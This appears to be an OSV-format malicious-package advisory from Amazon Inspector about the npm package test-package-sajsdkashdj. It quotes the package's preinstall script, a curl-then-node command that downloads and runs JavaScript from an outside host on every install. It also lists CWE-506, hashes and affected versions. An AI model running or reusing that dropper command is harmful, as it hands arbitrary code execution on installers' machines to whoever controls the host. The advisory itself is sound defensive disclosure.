test-package-sajsdkashdj

{"modified":"2026-06-22T18:27:28Z","published":"2026-06-22T17:37:23Z","schema_version":"1.7.4","id":"MAL-2026-6266","summary":"Malicious code in test-package-sajsdkashdj (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (62645375d713992c0b37f646ed3cf898e0ea2b56777ca1b531b3d6ee61d93b87)\npackage.json declares a preinstall lifecycle script: \"curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js\". On every npm install, the package downloads JavaScript from poc.amanrawat.com and immediately executes it with node under the installer's privileges. The fetched content is unpinned, unhashed, served from a third-party non-publisher domain, and mutable — whoever controls poc.amanrawat.com can ship arbitrary code to every installer at any time. The package itself contains no functionality beyond this dropper. The package name (test-package-sajsdkashdj) and the fetch target (a path named hehe.js on a personal-looking domain) further indicate this is not a legitimate distribution mechanism.\n","affected":[{"package":{"ecosystem":"npm","name":"test-package-sajsdkashdj"},"versions":["2.1.6","2.1.7"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"package.json","sha256":"bde307751693a74b5da57b277ac43deda04060ba9976804c1aa38579f70ac70f","tlsh":"b3e020308b63523755c41292486fa41fd6919f7f500a7c0c63ab042d80cb57758fe71c"}],"package_integrity":[{"filename":"test-package-sajsdkashdj-2.1.6.tgz","hashes":{"sha1":"5606c5611600aec1314c631503520538aecc6a53","sha512_sri":"sha512-hqsKDcYCc1n8pAXKZwSYKtXXjFKVSoaMqFNHdiLkgNCsdIPsQg8pzzUYUY9+zs4bG09x+71f1O5fmtyD8putVg=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/test-package-sajsdkashdj/v/2.1.6"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/test-package-sajsdkashdj/v/2.1.7"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-007138","import_time":"2026-06-22T18:25:27.928309737Z","modified_time":"2026-06-22T17:37:29Z","sha256":"542596accdcd18f95701775537c8d2a26a97a25cc9498a9da490271b05b1d702","source":"amazon-inspector","versions":["2.1.6"]},{"id":"IN-MAL-2026-007137","import_time":"2026-06-22T18:25:27.815597367Z","modified_time":"2026-06-22T17:37:23Z","sha256":"62645375d713992c0b37f646ed3cf898e0ea2b56777ca1b531b3d6ee61d93b87","source":"amazon-inspector","versions":["2.1.7"]}]}}